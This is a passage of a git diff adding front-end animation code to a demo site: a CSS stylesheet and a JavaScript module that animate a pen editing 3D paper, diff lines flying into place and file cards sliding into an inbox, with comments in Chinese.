||||
await rafWait(ms);
|
||||
if (myGen !== gen) throw new Error('cancelled');
|
||||
}
|
||||
|
||||
@ -294,8 +305,16 @@ window.AnimModes = (function () {
|
||||
t.addEventListener('click', function () { play(t.dataset.mode); });
|
||||
});
|
||||
|
||||
// 首次进入默认播放「计划」
|
||||
play('plan');
|
||||
// 首次进入默认播放「计划」——进入视口才开始:页面打开时用户可能还没滚到功能区,避免错过开场
|
||||
var started = false;
|
||||
var io = new IntersectionObserver(function (entries) {
|
||||
if (!started && entries[0].isIntersecting) {
|
||||
started = true;
|
||||
io.disconnect();
|
||||
play('plan');
|
||||
}
|
||||
}, { threshold: 0.3 });
|
||||
io.observe(container);
|
||||
}
|
||||
|
||||
return { init: init };
|
||||
|
||||
301
demo/site-assets/anim-records.css
Normal file
@ -0,0 +1,301 @@
|
||||
/* 修改记录动画 —— 模块样式(主页 feature 行 / anim3-demo 页共用)
|
||||
无边框无底色,融于星空;无 glow。token(--text-1 等)由宿主页面提供;
|
||||
动画私有的三个色定义在 .anim3-window 作用域。 */
|
||||
|
||||
.anim3-window {
|
||||
--danger: #d47b6b; /* diff 删除行红,仅本动画作用域 */
|
||||
/* 收盒文件:与编辑中的 3D 纸同款底色,边框用更亮的白边(叠放分层清晰) */
|
||||
--file-paper: var(--bg-panel);
|
||||
--file-line: rgba(238, 240, 246, 0.35);
|
||||
position: relative;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* 舞台:固定 540×380 逻辑尺寸,JS 按容器等比缩放居中(transform: translate+scale) */
|
||||
.anim3-stage {
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
top: 50%;
|
||||
width: 540px;
|
||||
height: 380px;
|
||||
overflow: hidden;
|
||||
cursor: pointer;
|
||||
user-select: none; /* 演示区禁止选中文本,避免鼠标划过时出现系统选中高亮(黑光) */
|
||||
-webkit-user-select: none;
|
||||
}
|
||||
|
||||
/* ───────── 智能体(右上) ───────── */
|
||||
|
||||
/* 尺寸与 04 版本控制的智能体一致(70×70) */
|
||||
.writer {
|
||||
position: absolute;
|
||||
right: 58px;
|
||||
top: 26px;
|
||||
width: 70px;
|
||||
height: 70px;
|
||||
}
|
||||
.writer-avatar {
|
||||
display: block;
|
||||
width: 70px;
|
||||
height: 70px;
|
||||
color: var(--text-1);
|
||||
}
|
||||
.writer-avatar .astrion-avatar { width: 100%; height: 100%; }
|
||||
|
||||
/* ───────── 笔(双层结构) ─────────
|
||||
外层 pen-pos:JS 逐帧/过渡定位,使笔尖精确落在文字进度点上;
|
||||
内层 svg:以笔尖为圆心旋转摇摆(transform-origin 在笔尖),
|
||||
既有晃动,笔尖又不会脱离位置。 */
|
||||
|
||||
.pen-pos {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
z-index: 40; /* 最高层:高于 3D 纸、盒子(30)与堆叠纸(21~23),笔不能被挡 */
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
color: var(--accent);
|
||||
will-change: transform;
|
||||
transition: transform 0.45s cubic-bezier(.4,0,.2,1); /* 飞行/移动用过渡 */
|
||||
}
|
||||
.pen-pos.is-live {
|
||||
transition: none; /* 写字逐帧驱动时关闭过渡 */
|
||||
}
|
||||
.writer-pen {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
/* origin = 笔尖视觉触点(SVG (2.65,21.02) → 40px 盒内 (4.4,35.0)),与 nibRef 同点:
|
||||
摇摆时笔尖钉住不动,只有笔身晃 */
|
||||
transform-origin: 11% 87.6%;
|
||||
}
|
||||
.writer-pen.is-writing {
|
||||
animation: pen-write 0.42s ease-in-out infinite;
|
||||
}
|
||||
/* 擦除:origin 切到笔尾橡皮触点(SVG (19.2,4.8) → 盒内 (32,8)),与 eraserRef 同点 */
|
||||
.writer-pen.is-erasing {
|
||||
transform-origin: 80% 20%;
|
||||
}
|
||||
@keyframes pen-write {
|
||||
0%, 100% { transform: rotate(-5deg); }
|
||||
50% { transform: rotate(6deg); }
|
||||
}
|
||||
|
||||
/* ───────── 3D 倾斜的纸 ───────── */
|
||||
/* perspective 让纸呈平行四边形(不倾斜就只是一条线) */
|
||||
|
||||
.paper3d {
|
||||
position: absolute;
|
||||
left: 280px;
|
||||
top: 130px;
|
||||
width: 192px;
|
||||
height: 122px;
|
||||
transform: perspective(760px) rotateX(42deg) rotateZ(-7deg);
|
||||
transform-style: preserve-3d;
|
||||
}
|
||||
|
||||
.paper-sheet {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: var(--bg-panel);
|
||||
border: 1px solid var(--line);
|
||||
border-radius: 6px;
|
||||
padding: 18px 16px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 14px;
|
||||
}
|
||||
|
||||
/* 内容行:横线代表一行内容(行宽由 JS 逐帧驱动,不用 transition;opacity 过渡供轮间换内容淡出) */
|
||||
.pline {
|
||||
position: relative;
|
||||
height: 4px;
|
||||
border-radius: 2px;
|
||||
background: var(--text-3);
|
||||
opacity: 0.75;
|
||||
transition: opacity 0.28s ease;
|
||||
}
|
||||
.paper3d.is-refilling .pline { opacity: 0; }
|
||||
/* 线右端锚点:0 尺寸,随线的 3D/倾斜变换,供 JS 实测真实右端点 */
|
||||
.pline-end {
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 50%;
|
||||
width: 0;
|
||||
height: 0;
|
||||
margin-top: -0px; /* 点本身无尺寸,top:50% 即线厚中心 */
|
||||
}
|
||||
/* 写入行不再用绿色:与其他行同色(修改记录靠的是 diff 区,不是纸面变色) */
|
||||
|
||||
/* ───────── diff 区 ───────── */
|
||||
|
||||
.diff-view {
|
||||
position: absolute;
|
||||
left: 134px; /* 盒子水平中线(86+48),diff 中心对齐盒子中线 */
|
||||
transform: translateX(-50%);
|
||||
top: 0;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 12.5px;
|
||||
line-height: 1.5;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 3px;
|
||||
z-index: 20; /* 盒内堆叠纸(21~23)之下——genie 时已隐藏,由切片接管 */
|
||||
border-radius: 6px;
|
||||
transition: background 0.25s ease;
|
||||
}
|
||||
/* genie 前:四行 diff 合为一张纸的底板(不加 outline:shorthand 不可过渡,会闪白框) */
|
||||
.diff-view.is-sheet {
|
||||
background: rgba(24, 30, 52, 0.92);
|
||||
}
|
||||
/* 轮间重置:禁用过渡,红绿底色/符号瞬时消失(否则恢复显示时会闪一下空白红绿块) */
|
||||
.diff-view.no-fade { transition: none; }
|
||||
.diff-view.no-fade .dline::before { transition: none; }
|
||||
.diff-view.no-fade .dsign { transition: none; }
|
||||
|
||||
/* ───────── 收盒文件卡片(单元素裁切式 genie) ─────────
|
||||
卡片全程同一个 DOM 元素:clip-path 多边形裁切(不压缩内容),
|
||||
body 每帧定位到轮廓包围盒,文字矢量缩小——全程清晰无损 */
|
||||
.file-flight {
|
||||
position: absolute;
|
||||
pointer-events: none;
|
||||
opacity: 0;
|
||||
transition: opacity 0.73s ease, transform 0.22s ease;
|
||||
/* SVG 视口默认 hidden 会把描边外半侧(0.5px)裁掉——visible 让边缘描边完整 */
|
||||
overflow: visible;
|
||||
/* origin 必须在基础规则上恒定(绕底部翘起,底边不露盒口)。
|
||||
若只写在 is-hover 里,移出时 origin 瞬间跳回默认中心点,视觉上就是瞬间弹回 */
|
||||
transform-origin: 50% 100%;
|
||||
}
|
||||
.file-flight.is-on { opacity: 1; }
|
||||
/* 三轮收盒后可交互:hover 微抬+向右倾(选中感) */
|
||||
.file-flight.is-hover {
|
||||
transform: translate(2px, -2px) rotate(2.5deg);
|
||||
}
|
||||
/* 倒出查看时封面文字淡出(diff 层接管内容) */
|
||||
.file-cover-name, .file-cover-stat { transition: opacity 0.3s ease; }
|
||||
.file-flight.is-bare .file-cover-name,
|
||||
.file-flight.is-bare .file-cover-stat { opacity: 0; }
|
||||
/* SVG 卡片:path 轮廓即卡片外形——fill 纸色 + stroke 描边跟随轮廓(S 曲线斜边也有描边) */
|
||||
.file-flight-shape {
|
||||
fill: var(--file-paper);
|
||||
stroke: var(--file-line);
|
||||
stroke-width: 1;
|
||||
}
|
||||
.file-cover-name {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 15px;
|
||||
letter-spacing: 0.02em;
|
||||
fill: var(--text-3); /* 和纸上线条同色 */
|
||||
}
|
||||
.file-cover-stat {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 11px;
|
||||
}
|
||||
.file-cover-stat .add { fill: var(--ok); }
|
||||
.file-cover-stat .del { fill: var(--danger); }
|
||||
|
||||
/* 卡片热区:三层卡只露出顶边一截,热区从顶边向下延伸到盒口前缘(JS 定高);
|
||||
重叠区归层级更高(更靠前)的卡 */
|
||||
.card-hotspot {
|
||||
position: absolute;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
/* 倒出查看的 diff 层:位置同 diff-view(卡片倒出落点),四行逐行淡入;点击收回 */
|
||||
.replay-diff {
|
||||
position: absolute;
|
||||
left: 134px;
|
||||
transform: translateX(-50%);
|
||||
top: 0;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 12.5px;
|
||||
line-height: 1.5;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 3px;
|
||||
z-index: 26; /* 高于盒内堆叠卡(21~23);与盒前壁(30)不重叠(位于 diff 区) */
|
||||
opacity: 0;
|
||||
transition: opacity 0.3s ease;
|
||||
cursor: pointer;
|
||||
}
|
||||
.replay-diff.is-on { opacity: 1; }
|
||||
.replay-diff .dline {
|
||||
opacity: 0;
|
||||
transform: translateY(3px);
|
||||
transition: opacity 0.3s ease, transform 0.3s ease;
|
||||
}
|
||||
.replay-diff.is-on .dline { opacity: 1; transform: none; }
|
||||
/* 收回:整体快速淡出(行不再逐行延迟,避免拖慢收回节奏) */
|
||||
.replay-diff.is-closing { opacity: 0; transition: opacity 0.22s ease; }
|
||||
.replay-diff.is-closing .dline { transition: none; transition-delay: 0ms; opacity: 1; transform: none; }
|
||||
|
||||
.dline {
|
||||
position: relative;
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
padding: 3px 10px;
|
||||
border-radius: 4px;
|
||||
/* 容器本身始终不透明:转正落位的字符立即可见,不经历消失→淡入;
|
||||
红/绿底色由 ::before 独立淡入,+/- 符号独立淡入 */
|
||||
white-space: nowrap;
|
||||
}
|
||||
.dline::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
border-radius: 4px;
|
||||
opacity: 0;
|
||||
transition: opacity 0.3s ease;
|
||||
pointer-events: none;
|
||||
}
|
||||
.dline.is-del::before { background: rgba(212, 123, 107, 0.08); }
|
||||
.dline.is-add::before { background: rgba(123, 168, 137, 0.10); }
|
||||
.dline.is-shown::before { opacity: 1; }
|
||||
.dline .dsign { flex: none; width: 10px; opacity: 0; transition: opacity 0.3s ease; }
|
||||
.dline.is-shown .dsign { opacity: 1; }
|
||||
.dline.is-del { color: var(--danger); }
|
||||
.dline.is-add { color: var(--ok); }
|
||||
|
||||
/* diff 行内单字符:占位时透明;落位转正后 is-lit 实色显示 */
|
||||
.dch { opacity: 0; }
|
||||
.dch.is-lit { opacity: 1; }
|
||||
|
||||
/* 飘行的字母:从笔的擦/写位置飞向 diff 行字符位,落位后转正为流内字符 */
|
||||
.dch-ghost {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 12.5px;
|
||||
line-height: 1.5;
|
||||
pointer-events: none;
|
||||
/* 不设 will-change:合成层位图与转正后的矢量重绘之间会出现大小/清晰度跳变 */
|
||||
transition: transform 0.34s cubic-bezier(.35,.1,.25,1);
|
||||
z-index: 35; /* 高于盒前壁(30),飞行字母不被盒子挡 */
|
||||
}
|
||||
|
||||
/* 笔尖/橡皮定位参考点:visibility 隐藏(保留几何盒供 getBoundingClientRect 实测),
|
||||
同时清掉 fill/stroke 防止从 SVG 根继承描边显形 */
|
||||
.pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; }
|
||||
|
||||
/* ───────── 收件箱(genie 收盒) ─────────
|
||||
后壁 z10(纸挡住它)、前壁 z30(它挡住纸)——纸从前后壁之间沉入 */
|
||||
.inbox-part {
|
||||
position: absolute;
|
||||
left: 86px; /* 中心线 x=134 */
|
||||
top: 166px;
|
||||
width: 96px;
|
||||
height: 96px;
|
||||
color: var(--text-1);
|
||||
opacity: 0;
|
||||
transition: opacity 0.35s ease;
|
||||
pointer-events: none;
|
||||
}
|
||||
.inbox-part.is-shown { opacity: 1; }
|
||||
.box-back { z-index: 10; }
|
||||
.box-front { z-index: 30; }
|
||||
/* 前壁盒身填实色:不能透出后面收进去的纸(凹口线保持描边不填) */
|
||||
.box-front path { fill: var(--bg-1); }
|
||||
/* 盒内纸叠:genie 终态的文件卡片(.file-flight)本身就是插在盒子里的纸 */
|
||||
899
demo/site-assets/anim-records.js
Normal file
@ -0,0 +1,899 @@
|
||||
/* 修改记录动画 —— 可复用模块(主页 feature 行 / anim3-demo 页共用)
|
||||
* AnimRecords.init(container):在容器内建 DOM 并自动播放;
|
||||
* 三轮收盒后自动轮播三张卡的 diff 详情,用户按下卡片暂停轮播 5 秒。
|
||||
*
|
||||
* 舞台固定 540×380 逻辑尺寸,按容器等比缩放居中(transform scale)——
|
||||
* 所有内部坐标不随容器变化;getBoundingClientRect 读数是缩放后的视口值,
|
||||
* 统一除以 curScale 换算回舞台本地坐标。
|
||||
*/
|
||||
|
||||
window.AnimRecords = (function () {
|
||||
'use strict';
|
||||
|
||||
var LOGICAL_W = 540, LOGICAL_H = 380;
|
||||
|
||||
function init(container) {
|
||||
container.innerHTML =
|
||||
'<div class="anim3-window">' +
|
||||
'<div class="anim3-stage" id="anim3Stage">' +
|
||||
'<div class="writer" id="writer"><span class="writer-avatar" id="writerAvatar"></span></div>' +
|
||||
'<div class="pen-pos" id="penPos">' +
|
||||
'<svg class="writer-pen" id="writerPen" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
|
||||
'<path fill="var(--bg-1)" d="M21.174 6.812a1 1 0 0 0-3.986-3.987L3.842 16.174a2 2 0 0 0-.5.83l-1.321 4.352a.5.5 0 0 0 .623.622l4.353-1.32a2 2 0 0 0 .83-.497z" />' +
|
||||
'<path d="m15 5 4 4" />' +
|
||||
'<circle id="penNibRef" class="pen-ref" cx="2.65" cy="21.02" r="0.7" />' +
|
||||
'<circle id="penEraserRef" class="pen-ref" cx="19.2" cy="4.8" r="0.7" />' +
|
||||
'</svg>' +
|
||||
'</div>' +
|
||||
'<div class="paper3d" id="paper"><div class="paper-sheet">' +
|
||||
'<div class="pline" data-w="82"><i class="pline-end"></i></div>' +
|
||||
'<div class="pline" data-w="64"><i class="pline-end"></i></div>' +
|
||||
'<div class="pline" data-w="71"><i class="pline-end"></i></div>' +
|
||||
'<div class="pline" data-w="58"><i class="pline-end"></i></div>' +
|
||||
'</div></div>' +
|
||||
'<svg class="inbox-part box-back is-shown" id="boxBack" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="0.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
|
||||
'<path d="M2 12 L5.45 5.11 A2 2 0 0 1 7.24 4 H16.76 a2 2 0 0 1 1.79 1.11 L22 12" />' +
|
||||
'</svg>' +
|
||||
'<svg class="inbox-part box-front is-shown" id="boxFront" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="0.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
|
||||
'<path d="M2 12 h6 l2 3 h4 l2 -3 h6 v6 a2 2 0 0 1 -2 2 H4 a2 2 0 0 1 -2 -2 z" />' +
|
||||
'</svg>' +
|
||||
'<div class="diff-view" id="diffView">' +
|
||||
'<div class="dline is-del"><span class="dsign">-</span><span class="dtext">theme: \'dark\'</span></div>' +
|
||||
'<div class="dline is-add"><span class="dsign">+</span><span class="dtext">theme: \'classic\'</span></div>' +
|
||||
'<div class="dline is-del"><span class="dsign">-</span><span class="dtext">fontSize: 13, lineHeight: 1.4</span></div>' +
|
||||
'<div class="dline is-add"><span class="dsign">+</span><span class="dtext">fontSize: 14, lineHeight: 1.6</span></div>' +
|
||||
'</div>' +
|
||||
'</div>' +
|
||||
'</div>';
|
||||
|
||||
var stage = document.getElementById('anim3Stage');
|
||||
var paper = document.getElementById('paper');
|
||||
var penPos = document.getElementById('penPos');
|
||||
var pen = document.getElementById('writerPen');
|
||||
var boxBack = document.getElementById('boxBack');
|
||||
var boxFront = document.getElementById('boxFront');
|
||||
var diffView = document.getElementById('diffView');
|
||||
var lines = Array.prototype.slice.call(paper.querySelectorAll('.pline'));
|
||||
var dlines = Array.prototype.slice.call(diffView.querySelectorAll('.dline'));
|
||||
|
||||
// 挂载六边形眼睛(眨眼 + 追踪)
|
||||
if (window.AstrionAvatar) {
|
||||
AstrionAvatar.mount(document.getElementById('writerAvatar'), { mode: 'idle', blink: true, track: true });
|
||||
}
|
||||
|
||||
/* 等比缩放:舞台固定 540×380 逻辑尺寸,按容器 min(w/540, h/380) 缩放居中。
|
||||
垂直方向按内容中心(CONTENT_CY)对齐容器中心:内容包围盒为 diff 顶 0 ~ 盒底 262,
|
||||
中心 131 ≠ 舞台中心 190,直接居中会让整体视觉偏上 */
|
||||
var CONTENT_CY = 131;
|
||||
var curScale = 1;
|
||||
function updateScale() {
|
||||
var w = container.clientWidth, h = container.clientHeight;
|
||||
curScale = Math.min(w / LOGICAL_W, h / LOGICAL_H) || 1;
|
||||
stage.style.top = 'calc(50% + ' + ((LOGICAL_H / 2 - CONTENT_CY) * curScale).toFixed(1) + 'px)';
|
||||
stage.style.transform = 'translate(-50%, -50%) scale(' + curScale + ')';
|
||||
}
|
||||
if (window.ResizeObserver) new ResizeObserver(updateScale).observe(container);
|
||||
window.addEventListener('resize', updateScale);
|
||||
|
||||
/* 视口 rect → 舞台本地坐标:stage 被 scale,差值统一除 curScale。
|
||||
sr 一律现场重测:擦写/飞行序列长达数百 ms,外部缓存的旧 sr 在页面滚动后已过期,
|
||||
与调用方刚实测的 rect 相差一个滚动量——文字的起点终点就会跟着页面滚动歪掉 */
|
||||
function toLocal(rect, sr) {
|
||||
sr = stageRect();
|
||||
return {
|
||||
left: (rect.left - sr.left) / curScale,
|
||||
top: (rect.top - sr.top) / curScale,
|
||||
width: rect.width / curScale,
|
||||
height: rect.height / curScale
|
||||
};
|
||||
}
|
||||
|
||||
var gen = 0;
|
||||
|
||||
/* 笔尖/橡皮的精确位置不再手调像素:
|
||||
* SVG 内放了两个隐形参考点(penNibRef / penEraserRef),
|
||||
* 运行时 getBoundingClientRect 实测其渲染位置做补偿——
|
||||
* 无论笔怎么旋转/摇摆,作用点都精确钉在目标上。 */
|
||||
var nibRef = document.getElementById('penNibRef');
|
||||
var eraserRef = document.getElementById('penEraserRef');
|
||||
var penTx = 0, penTy = 0;
|
||||
|
||||
/* 笔的初始位(被智能体拿着):笔尖所在点,笔身斜跨六边形。
|
||||
与 04 同款手持偏移:writer 盒左上 (412,26) + (46,58) */
|
||||
var PEN_HOME = { x: 458, y: 84 };
|
||||
|
||||
/* 所有计时都基于 rAF 累计「可见时间」:后台标签页 rAF 暂停,整个动画流程随之冻结,
|
||||
恢复可见时从冻结点继续——setTimeout 在后台只是降频不会停,会攒动画导致恢复瞬间全放完 */
|
||||
function rafWait(ms) {
|
||||
return new Promise(function (resolve) {
|
||||
var acc = 0, last = performance.now();
|
||||
function tick(now) {
|
||||
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
|
||||
last = now;
|
||||
if (acc >= ms) { resolve(); return; }
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
requestAnimationFrame(tick);
|
||||
});
|
||||
}
|
||||
|
||||
async function step(ms, myGen) {
|
||||
await rafWait(ms);
|
||||
if (myGen !== gen) throw new Error('cancelled');
|
||||
}
|
||||
|
||||
function el(tag, cls) {
|
||||
var e = document.createElement(tag);
|
||||
if (cls) e.className = cls;
|
||||
return e;
|
||||
}
|
||||
|
||||
function stageRect() { return stage.getBoundingClientRect(); }
|
||||
|
||||
/* 缓动 */
|
||||
function easeOut(p) { return 1 - (1 - p) * (1 - p); }
|
||||
function easeInOut(p) { return p < 0.5 ? 2 * p * p : 1 - 2 * (1 - p) * (1 - p); }
|
||||
|
||||
/* rAF 逐帧驱动,进度按可见时间累计(后台冻结,恢复不跳变);返回 false/取消时提前结束 */
|
||||
function tween(ms, fn, myGen) {
|
||||
return new Promise(function (resolve) {
|
||||
var acc = 0, last = performance.now();
|
||||
function tick(now) {
|
||||
if (myGen !== gen) { resolve(); return; }
|
||||
acc += Math.min(now - last, 100);
|
||||
last = now;
|
||||
var p = Math.min(acc / ms, 1);
|
||||
fn(p);
|
||||
if (p >= 1) { resolve(); return; }
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
requestAnimationFrame(tick);
|
||||
});
|
||||
}
|
||||
|
||||
function setPen(x, y) {
|
||||
penTx = x; penTy = y;
|
||||
penPos.style.transform = 'translate(' + x.toFixed(1) + 'px,' + y.toFixed(1) + 'px)';
|
||||
}
|
||||
|
||||
/* 手动微调(css px):数据对准后仍有轻微视觉偏差时在这里调,用户肉眼验收 */
|
||||
var NIB_TWEAK = { x: 0, y: -1.8 };
|
||||
var ERASER_TWEAK = { x: 0, y: 0 };
|
||||
|
||||
/* 把参考点精确移到舞台坐标 (x, y):实测当前位置,差值补偿到外层 translate,一次收敛 */
|
||||
function refTo(refEl, x, y, sr) {
|
||||
sr = stageRect(); /* 现场重测,同 toLocal */
|
||||
var r = refEl.getBoundingClientRect();
|
||||
var cx = (r.left + r.width / 2 - sr.left) / curScale;
|
||||
var cy = (r.top + r.height / 2 - sr.top) / curScale;
|
||||
setPen(penTx + (x - cx), penTy + (y - cy));
|
||||
}
|
||||
function nibTo(x, y, sr) { refTo(nibRef, x + NIB_TWEAK.x, y + NIB_TWEAK.y, sr); }
|
||||
function eraserTo(x, y, sr) { refTo(eraserRef, x + ERASER_TWEAK.x, y + ERASER_TWEAK.y, sr); }
|
||||
|
||||
/* 行右端进度点的舞台坐标:倾斜线的包围盒中心≠真实右端点,
|
||||
* 用线内右端锚点(.pline-end)的实测位置,兼容 3D 透视 + rotZ 倾斜 */
|
||||
function lineTip(line, sr) {
|
||||
sr = stageRect(); /* 现场重测,同 toLocal */
|
||||
var r = line.querySelector('.pline-end').getBoundingClientRect();
|
||||
return { x: (r.left + r.width / 2 - sr.left) / curScale, y: (r.top + r.height / 2 - sr.top) / curScale };
|
||||
}
|
||||
function nibToLineTip(line, sr) {
|
||||
var t = lineTip(line, sr);
|
||||
nibTo(t.x, t.y, sr);
|
||||
}
|
||||
|
||||
/* 三轮内容:Dockerfile / Python / TS,不全是一种代码;
|
||||
纸上横线长度 ≈ 对应行字符数(~2.3%/字符)——线长与内容长短一致;
|
||||
file/tone:收盒前渐变覆盖的文件卡(红/黄/绿,露出一截即可分辨)。 */
|
||||
var ROUNDS = [
|
||||
{
|
||||
file: 'Docker',
|
||||
paperW: [34, 26, 59, 44],
|
||||
edits: [
|
||||
{ newW: 26, del: 'EXPOSE 8080', add: 'EXPOSE 8091' },
|
||||
/* 最长行 26 字符(≈237px 宽):diff 左缘保持在 stage 内(>15px),否则左缘描边被 stage 裁掉 */
|
||||
{ newW: 53, del: 'CMD ["python", "server.py"]', add: 'CMD ["python", "main.py"]' }
|
||||
]
|
||||
},
|
||||
{
|
||||
file: 'api.py',
|
||||
paperW: [56, 35, 46, 30],
|
||||
edits: [
|
||||
{ newW: 35, del: 'MAX_RETRIES = 3', add: 'MAX_RETRIES = 5' },
|
||||
{ newW: 46, del: 'request_timeout = 30', add: 'request_timeout = 60' }
|
||||
]
|
||||
},
|
||||
{
|
||||
file: 'theme.ts',
|
||||
paperW: [46, 30, 66, 58],
|
||||
edits: [
|
||||
{ newW: 37, del: "theme: 'dark'", add: "theme: 'classic'" },
|
||||
{ newW: 66, del: 'fontSize: 13, lineHeight: 1.4', add: 'fontSize: 14, lineHeight: 1.6' }
|
||||
]
|
||||
}
|
||||
];
|
||||
/* 盒内纸堆叠透视(按盒子 SVG 侧边斜率 dx/dy=0.5 推导:每向深处 1px 两侧共收 1px):
|
||||
每往里一张纸,顶边抬高 ~10px、宽度按侧边角度同步收窄、只露出顶部一截。
|
||||
topY/bottomY 为 stage 坐标,wRatio 为相对盒子图标宽的比例。 */
|
||||
/* 等比透视:三张文件本身差不多高,随深度每层缩 ~8%(与宽度收敛同比率);
|
||||
底边都落在盒口附近(194/183/172)——每张收进去的瞬间都是真的插进盒子,不悬空;
|
||||
顶边各露 5px(底边落差 11px - 高度缩 6px ≈ 5px) */
|
||||
/* 等比透视:三张文件本身差不多高,随深度略缩;底边都落在盒口附近——
|
||||
每张收进去的瞬间都是真的插进盒子,不悬空;顶边各露 5px。
|
||||
(坐标基于盒子下移 50px 后:盒口 y=224) */
|
||||
var FILED_SPECS = [
|
||||
{ topY: 182, bottomY: 234, wRatio: 0.66 }, /* 最前:高 52,最宽、最低、贴前壁 */
|
||||
{ topY: 177, bottomY: 223, wRatio: 0.608 }, /* 中间:高 46 */
|
||||
{ topY: 172, bottomY: 212, wRatio: 0.556 } /* 最里:高 40,底边在盒口线上 */
|
||||
];
|
||||
|
||||
/* diff 行拆成单字符(初始透明占位),擦/写时字母逐个从笔处飘入落位。
|
||||
落位的 ghost 会转正替换占位符成为流内正式字符,reset 时重建占位 */
|
||||
var dlineTexts = [];
|
||||
function setDiffTexts(r) {
|
||||
var e = ROUNDS[r].edits;
|
||||
dlineTexts = [e[0].del, e[0].add, e[1].del, e[1].add];
|
||||
}
|
||||
setDiffTexts(0);
|
||||
var dlineChars = dlines.map(function () { return []; });
|
||||
function buildDlineChars() {
|
||||
dlines.forEach(function (d, di) {
|
||||
var t = d.querySelector('.dtext');
|
||||
t.textContent = '';
|
||||
dlineChars[di] = [];
|
||||
for (var i = 0; i < dlineTexts[di].length; i++) {
|
||||
var c = el('span', 'dch');
|
||||
/* 空格用不换行空格:普通空格 span 会塌缩成 0 宽/高度异常,落点歪斜 */
|
||||
c.textContent = dlineTexts[di][i] === ' ' ? ' ' : dlineTexts[di][i];
|
||||
t.appendChild(c);
|
||||
dlineChars[di].push(c);
|
||||
}
|
||||
});
|
||||
}
|
||||
buildDlineChars();
|
||||
|
||||
/* 一个字母从舞台 (x0,y0)(笔的擦/写位置)飘到 diff 行目标字符位。
|
||||
落位后转正:替换占位符成为流内正式字符——genie 收纸时文字随纸一起变形;
|
||||
首个落位字符触发行容器(红/绿底色)淡入:底色与文字同步,不先于文字出现 */
|
||||
function flyChar(x0, y0, chSpan, sr, myGen) {
|
||||
sr = stageRect(); /* 现场重测,同 toLocal:与 to 同刻,滚动不歪 */
|
||||
var to = chSpan.getBoundingClientRect();
|
||||
var g = el('span', 'dch-ghost');
|
||||
g.textContent = chSpan.textContent;
|
||||
g.style.color = getComputedStyle(chSpan).color;
|
||||
g.style.transform = 'translate(' + (x0 - 3).toFixed(1) + 'px,' + (y0 - 8).toFixed(1) + 'px)';
|
||||
stage.appendChild(g);
|
||||
void g.offsetWidth; /* 起始位定格后再设终点,保证过渡触发 */
|
||||
g.style.transform = 'translate(' + ((to.left - sr.left) / curScale).toFixed(1) + 'px,' + ((to.top - sr.top) / curScale).toFixed(1) + 'px)';
|
||||
g.addEventListener('transitionend', function handler() {
|
||||
g.removeEventListener('transitionend', handler);
|
||||
if (myGen !== gen) { g.parentNode && g.parentNode.removeChild(g); return; }
|
||||
/* 飞行过渡真正结束后转正:清掉行内样式、换成流内字符 class、替换占位符,同帧完成无跳变 */
|
||||
g.style.cssText = '';
|
||||
g.className = 'dch is-lit';
|
||||
var row = chSpan.parentNode; /* .dtext */
|
||||
var dline = row.parentNode; /* .dline */
|
||||
row.replaceChild(g, chSpan);
|
||||
/* 第一个字符到位,该行的红绿背景与 +/- 符号即浮现(后续字符陆续落位在已有底色的行里) */
|
||||
dline.classList.add('is-shown');
|
||||
});
|
||||
}
|
||||
|
||||
function applyWidths() {
|
||||
lines.forEach(function (l) {
|
||||
l.style.width = l.dataset.w + '%';
|
||||
});
|
||||
}
|
||||
|
||||
function reset() {
|
||||
gen += 1;
|
||||
disableBrowse();
|
||||
pen.classList.remove('is-writing');
|
||||
penPos.classList.remove('is-live');
|
||||
lines.forEach(function (l) {
|
||||
l.classList.remove('is-new');
|
||||
l.style.opacity = '';
|
||||
});
|
||||
lines.forEach(function (l, i) { l.dataset.w = ROUNDS[0].paperW[i]; });
|
||||
applyWidths();
|
||||
setDiffTexts(0);
|
||||
diffView.classList.add('no-fade'); /* 重播重置同样禁用过渡,防红绿块淡出闪现 */
|
||||
dlines.forEach(function (d) { d.classList.remove('is-shown'); });
|
||||
Array.prototype.slice.call(stage.querySelectorAll('.dch-ghost')).forEach(function (g) { g.parentNode.removeChild(g); });
|
||||
buildDlineChars(); /* 落位字符已转正为流内文本,重播前重建透明占位 */
|
||||
Array.prototype.slice.call(stage.querySelectorAll('.file-flight')).forEach(function (g) { g.parentNode.removeChild(g); });
|
||||
diffView.style.clipPath = '';
|
||||
diffView.style.transform = '';
|
||||
diffView.style.transformOrigin = '';
|
||||
diffView.style.opacity = '';
|
||||
diffView.style.visibility = '';
|
||||
diffView.classList.remove('is-sheet');
|
||||
void diffView.offsetWidth;
|
||||
diffView.classList.remove('no-fade');
|
||||
/* 收件箱始终显示,不在重置时隐藏 */
|
||||
pen.classList.remove('is-erasing');
|
||||
pen.style.transform = '';
|
||||
penPos.classList.add('is-live'); /* 重置瞬移,不起飞行动画 */
|
||||
